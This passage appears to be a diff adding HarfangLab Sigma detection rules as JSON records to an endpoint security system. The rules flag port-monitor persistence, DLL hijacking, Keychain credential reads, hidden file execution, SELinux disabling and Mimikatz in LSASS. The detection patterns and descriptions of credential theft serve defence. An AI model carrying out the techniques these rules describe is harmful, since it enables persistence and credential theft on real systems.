'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\SRCIMonitor\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Standard TCP/IP Port\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Tun LPR Port\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\USB Monitor\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Virtual Port Monitor\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\WSD Port\\Driver'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Xerox XMP v3 Port Monitor\\Driver'\n\n    exclusion_citrix:\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Client Printer Port\\Driver'\n        Details: 'cpmon.dll'\n\n    exclusion_seagull:\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Seagull Network Monitor\\Driver'\n        Details: 'ssnetmon.d64'\n\n    exclusion_hp:\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\HP Standard TCP/IP Port\\Driver'\n        Details: 'HpTcpMon.dll'\n\n    exclusion_wildix:\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Wildix FaxPort\\Driver'\n        Details: 'wfaxport.dll'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "88ec665f-3f70-4356-9ad5-87781eb00cbe",
+  "rule_name": "Port Monitor Installed",
+  "rule_description": "Detects the installation of a new port monitor on the system.\nPort Monitors are DLLs loaded and run by the print spooler service, spoolsv.exe, under SYSTEM level permissions on boot.\nAdversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.\nIt is recommended to investigate the process that performed the registry modification as well as the target DLL at the path in the registry details.\n",
+  "rule_creation_date": "2020-09-24",
+  "rule_modified_date": "2025-11-24",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1547.010"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "88f710f0-7169-45cc-a19f-9f64b6f35ff8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076364Z",
+  "creation_date": "2026-03-23T11:45:34.076366Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076371Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://persistence-info.github.io/Data/rdpwdstartupprograms.html",
+    "https://attack.mitre.org/techniques/T1547/001/"
+  ],
+  "name": "t1547_001_rdp_wds_startup_programs.yml",
+  "content": "title: RDP WDS StartupPrograms Set via Registry\nid: 88f710f0-7169-45cc-a19f-9f64b6f35ff8\ndescription: |\n    Detects a modification in the registry related to the remote session startup programs.\n    The registry value \"StartupPrograms\" can be used in order to launch applications (server side) after each RDP session creation.\n    It is recommended to investigate the process that added the key as well as the registry value for malicious content.\nreferences:\n    - https://persistence-info.github.io/Data/rdpwdstartupprograms.html\n    - https://attack.mitre.org/techniques/T1547/001/\ndate: 2024/11/05\nmodified: 2025/03/13\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\StartupPrograms'\n\n    exclusion_systancia:\n        - Image: '?:\\Program Files (x86)\\Systancia\\AppliDis\\AppliDis Serveur\\bin\\adiservr.exe'\n        - Details|contains:\n            - 'AdisSUP'\n            - 'AdisEzScanSrvCfgSession'\n\n    exclusion_rdpclip:\n        Details: 'rdpclip'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "88f710f0-7169-45cc-a19f-9f64b6f35ff8",
+  "rule_name": "RDP WDS StartupPrograms Set via Registry",
+  "rule_description": "Detects a modification in the registry related to the remote session startup programs.\nThe registry value \"StartupPrograms\" can be used in order to launch applications (server side) after each RDP session creation.\nIt is recommended to investigate the process that added the key as well as the registry value for malicious content.\n",
+  "rule_creation_date": "2024-11-05",
+  "rule_modified_date": "2025-03-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1547.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8924468b-dfa0-4dc8-9a00-b9e81b890840",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080487Z",
+  "creation_date": "2026-03-23T11:45:34.080489Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080494Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_iexplore.yml",
+  "content": "title: DLL Hijacking via iexplore.exe\nid: 8924468b-dfa0-4dc8-9a00-b9e81b890840\ndescription: |\n    Detects potential Windows DLL Hijacking via iexplore.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    In this case, iertutil.dll doesn't directly exist in the Internet Explorer folder. Therefore, an attacker can plant a malicious iertutil.dll in this folder.\n    This DLL will be loaded each time iexplore.exe is executed, but also by instantiating an object via the DCOM InternetExplorer.Application Class remotely, allowing attackers to start the payload remotely and achieve persistence.\n    This DLL sideloading attack can also be used in a more classic way, by simply bundling the malicious DLL and the legitimate iexplore.exe inside the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/11/09\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'iexplore.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\iertutil.dll'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8924468b-dfa0-4dc8-9a00-b9e81b890840",
+  "rule_name": "DLL Hijacking via iexplore.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via iexplore.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nIn this case, iertutil.dll doesn't directly exist in the Internet Explorer folder. Therefore, an attacker can plant a malicious iertutil.dll in this folder.\nThis DLL will be loaded each time iexplore.exe is executed, but also by instantiating an object via the DCOM InternetExplorer.Application Class remotely, allowing attackers to start the payload remotely and achieve persistence.\nThis DLL sideloading attack can also be used in a more classic way, by simply bundling the malicious DLL and the legitimate iexplore.exe inside the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-11-09",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "89253ec2-98e1-46bc-98df-5406a4a094db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628022Z",
+  "creation_date": "2026-03-23T11:45:34.628024Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628028Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1555/001/"
+  ],
+  "name": "t1555_001_user_keychain_access_suspicious_process_macos.yml",
+  "content": "title: Suspicious Access to User's Keychain\nid: 89253ec2-98e1-46bc-98df-5406a4a094db\ndescription: |\n    Detects a suspicious access to the user's Keychain files.\n    Adversaries may access Keychain (or Keychain Services) to acquire sensitive information such as account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes.\n    It is recommended to verify if the process performing the read operation has legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1555/001/\ndate: 2024/09/26\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1555.001\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.CredentialAccess\n    - classification.macOS.Behavior.SensitiveInformation\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_common_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n\n    selection_common_files:\n        Kind: 'read'\n        Path:\n            - '/Users/*/Library/Keychains/*.keychain'\n            - '/Users/*/Library/Keychains/*.keychain-db'\n        ProcessImage|contains: '?'\n\n    selection_susp_ancestors:\n        ProcessAncestors|contains:\n            # folder\n            - '/users/shared/'\n            - '/private/tmp/'\n            - '/private/var/tmp/'\n            - '/private/etc/'\n            - '/private/var/root/'\n            # process\n            - '/osascript'\n\n    selection_susp_process:\n        ProcessImage: '/bin/cat'\n\n    filter_bin:\n        ProcessImage:\n            - '/usr/bin/security'\n            - '/usr/bin/ldapsearch'\n            - '/usr/bin/codesign'\n\n    exclusion_process_folders:\n        ProcessImage|startswith:\n            - '/Applications/'\n            - '/Library'\n            - '/Users/*/Applications/'\n            - '/Users/*/Library/'\n            - '/opt/homebrew/'\n\n    exclusion_process_adobe:\n        ProcessAncestors|contains: '/private/tmp/????????-????-????-????-?????????????/Creative Cloud Installer.app/Contents/MacOS/Install'\n\n    exclusion_process_installer:\n        ProcessAncestors|contains: '|/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/XPCServices/package_script_service.xpc/Contents/MacOS/package_script_service|'\n\n    exclusion_process_terragrunt:\n        ProcessImage: '/Users/*/.tgenv/versions/*/terragrunt'\n\n    exclusion_folder_signed:\n        ProcessImage|startswith: '/users/'\n        ProcessSigned: 'true'\n\n    adhoc_signed:\n        ProcessCodesigningFlagsStr|contains: 'CS_ADHOC'\n\n    condition: all of selection_common_* and 1 of selection_susp_* and not 1 of filter_* and not 1 of exclusion_process_* and not (exclusion_folder_signed and not adhoc_signed)\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "89253ec2-98e1-46bc-98df-5406a4a094db",
+  "rule_name": "Suspicious Access to User's Keychain",
+  "rule_description": "Detects a suspicious access to the user's Keychain files.\nAdversaries may access Keychain (or Keychain Services) to acquire sensitive information such as account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes.\nIt is recommended to verify if the process performing the read operation has legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-09-26",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "89345982-a93f-4606-a99c-932da482d27d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627398Z",
+  "creation_date": "2026-03-23T11:45:34.627400Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627404Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1204/002/",
+    "https://attack.mitre.org/techniques/T1564/001/"
+  ],
+  "name": "t1564_001_hidden_file_execution.yml",
+  "content": "title: Hidden File Executed\nid: 89345982-a93f-4606-a99c-932da482d27d\ndescription: |\n    Detects the execution of a hidden file.\n    Adversaries may hide their files on the system in order to prevents users from spotting them or to evade system analysis tools that do not incorporate investigation of hidden files.\n    It is recommended to check for suspicious activities by the newly created process.\nreferences:\n    - https://attack.mitre.org/techniques/T1204/002/\n    - https://attack.mitre.org/techniques/T1564/001/\ndate: 2024/04/03\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - attack.defense_evasion\n    - attack.t1564.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        ProcessName|startswith: '.'\n\n    # This is handled by the rule d44c6de2-d37f-4e36-8fa1-f23231dd7632\n    filter_launchd:\n        ProcessParentImage: '/sbin/launchd'\n\n    exclusion_dropbox:\n        - ProcessImage: '/Volumes/com.getdropbox.dropbox-*/.dbx_install'\n          ProcessParentCommandLine: '/Users/*/Library/Dropbox/DropboxMacUpdate.app/Contents/MacOS/DropboxMacUpdate -check *'\n        - ProcessCommandLine|startswith: '/volumes/dropbox offline installer/.install /volumes/dropbox offline installer /applications/dropbox.app'\n        - ProcessSigned: 'true'\n          ProcessSignatureSigningId: '.dbx_install'\n\n    exclusion_google:\n        ProcessCommandLine: '/Volumes/qual/.install /Volumes/qual/.install /Volumes/qual  0.1'\n        ProcessParentCommandLine|startswith: 'GoogleUpdater --server --service=update-internal*'\n\n    exclusion_edge:\n        ProcessImage: '/Library/Application Support/Microsoft/EdgeUpdater/apps/msedge-qualify/*/.install'\n        ProcessParentCommandLine|startswith: 'EdgeUpdater --server --service=update-internal*'\n\n    exclusion_bug:\n        ProcessName: './bin/perl'\n\n    exclusion_mycloud:\n        ProcessImage: '/private/var/folders/??/*/*/.com.wdc.discovery.mycloud.??????'\n\n    exclusion_common_folders:\n        ProcessImage|startswith:\n            - '/System/Library/'\n            - '/Library/Application Support/'\n            - '/library/frameworks/'\n            - '/Applications/'\n\n    exclusion_apple_signed:\n        ProcessSignatureSigningId|startswith: 'com.apple.'\n        ProcessSigned: 'true'\n\n    exclusion_nix:\n        Image: '/nix/store/*-wrapped'\n\n    exclusion_trendmicro:\n        Image: '/Users/*/Library/Application Scripts/com.trendmicro.DrUnzip/.Log/DULog/.DS__Store'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "89345982-a93f-4606-a99c-932da482d27d",
+  "rule_name": "Hidden File Executed",
+  "rule_description": "Detects the execution of a hidden file.\nAdversaries may hide their files on the system in order to prevents users from spotting them or to evade system analysis tools that do not incorporate investigation of hidden files.\nIt is recommended to check for suspicious activities by the newly created process.\n",
+  "rule_creation_date": "2024-04-03",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.002",
+    "attack.t1564.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "893dbac9-4830-4f8f-a04e-0d27da61acaa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087354Z",
+  "creation_date": "2026-03-23T11:45:34.087356Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087360Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.001/T1562.001.md",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_disable_selinux.yml",
+  "content": "title: SELinux Disabled\nid: 893dbac9-4830-4f8f-a04e-0d27da61acaa\ndescription: |\n    Detects the execution of the \"setenforce 0\" command, which disables SELinux. Attackers may use this to disable system-wide mandatory access control (MAC), allowing unauthorized access and privilege escalation.\n    Disabling SELinux can facilitate data exfiltration, unauthorized file modifications, and persistence.\n    It is recommended to investigate the source of the command execution, review system logs for signs of unauthorized access, and re-enable SELinux if the change was not authorized.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.001/T1562.001.md\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2021/09/22\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.DefenseEvasion\n    - classification.Linux.Behavior.ImpairDefenses\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/setenforce'\n        CommandLine|contains:\n            - 'Permissive'\n            - '0'\n\n    exclusion_alfresco:\n        - GrandparentCommandLine|startswith: '/bin/sh /etc/init.d/alfresco '\n        - ParentCommandLine|startswith:\n            - '/bin/sh /opt/alfresco-community/alfresco.sh '\n            - '/bin/sh /opt/iParapheur/alfresco.sh '\n            - '/bin/bash /etc/init.d/alfresco '\n            - '/bin/sh /etc/init.d/alfresco '\n            - '/bin/sh -c /etc/init.d/alfresco '\n            - '/bin/sh /opt/alfresco/*/alfresco.sh '\n\n    exclusion_dnf:\n        GrandparentCommandLine: '/usr/bin/python3 /usr/bin/dnf --quiet -y upgrade'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "893dbac9-4830-4f8f-a04e-0d27da61acaa",
+  "rule_name": "SELinux Disabled",
+  "rule_description": "Detects the execution of the \"setenforce 0\" command, which disables SELinux. Attackers may use this to disable system-wide mandatory access control (MAC), allowing unauthorized access and privilege escalation.\nDisabling SELinux can facilitate data exfiltration, unauthorized file modifications, and persistence.\nIt is recommended to investigate the source of the command execution, review system logs for signs of unauthorized access, and re-enable SELinux if the change was not authorized.\n",
+  "rule_creation_date": "2021-09-22",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "89c64e5b-2c44-4ba7-bc34-928ea7a40174",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084294Z",
+  "creation_date": "2026-03-23T11:45:34.084296Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084300Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/gentilkiwi/mimikatz",
+    "https://attack.mitre.org/software/S0002/"
+  ],
+  "name": "t1003_mimilib_loaded.yml",
+  "content": "title: LSASS DLL Hijacked via Mimikatz\nid: 89c64e5b-2c44-4ba7-bc34-928ea7a40174\ndescription: |\n    Detects the loading of mimilib.dll into the Local Security Authority Subsystem Service (LSASS) process.\n    This DLL is specifically designed to hook into LSASS memory to extract credentials, hashes, and Kerberos tickets. This technique requires administrative privileges and is commonly used in post-exploitation phases of an attack.\n    It is recommended to investigate the source process that triggered the DLL load, the user context, and any subsequent network connections or file system activity that could indicate credential exfiltration.\nreferences:\n    - https://github.com/gentilkiwi/mimikatz\n    - https://attack.mitre.org/software/S0002/\ndate: 2021/03/03\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003\n    - attack.t1078\n    - attack.t1550.002\n    - attack.t1550.003\n    - attack.t1574.002\n    - attack.s0002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.HackTool.Mimikatz\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection_lsass:\n        Image: '?:\\Windows\\System32\\lsass.exe'\n\n    selection_mimikatz:\n        - InternalName: 'mimilib'\n        - OriginalFileName: 'mimilib.dll'\n\n    condition: all of selection_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "89c64e5b-2c44-4ba7-bc34-928ea7a40174",
+  "rule_name": "LSASS DLL Hijacked via Mimikatz",
+  "rule_description": "Detects the loading of mimilib.dll into the Local Security Authority Subsystem Service (LSASS) process.\nThis DLL is specifically designed to hook into LSASS memory to extract credentials, hashes, and Kerberos tickets. This technique requires administrative privileges and is commonly used in post-exploitation phases of an attack.\nIt is recommended to investigate the source process that triggered the DLL load, the user context, and any subsequent network connections or file system activity that could indicate credential exfiltration.\n",
+  "rule_creation_date": "2021-03-03",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003",
+    "attack.t1078",
+    "attack.t1550.002",
+    "attack.t1550.003",
+    "attack.t1574.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "89cb912c-bc9a-49a3-ba8e-0c446e538259",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.598638Z",
+  "creation_date": "2026-03-23T11:45:34.598641Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.598649Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40539",
+    "https://www.synacktiv.com/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html",
+    "https://www.cisa.gov/uscert/ncas/alerts/aa21-259a"
+  ],
+  "name": "cve_2021_40539_adselfservice_plus.yml",
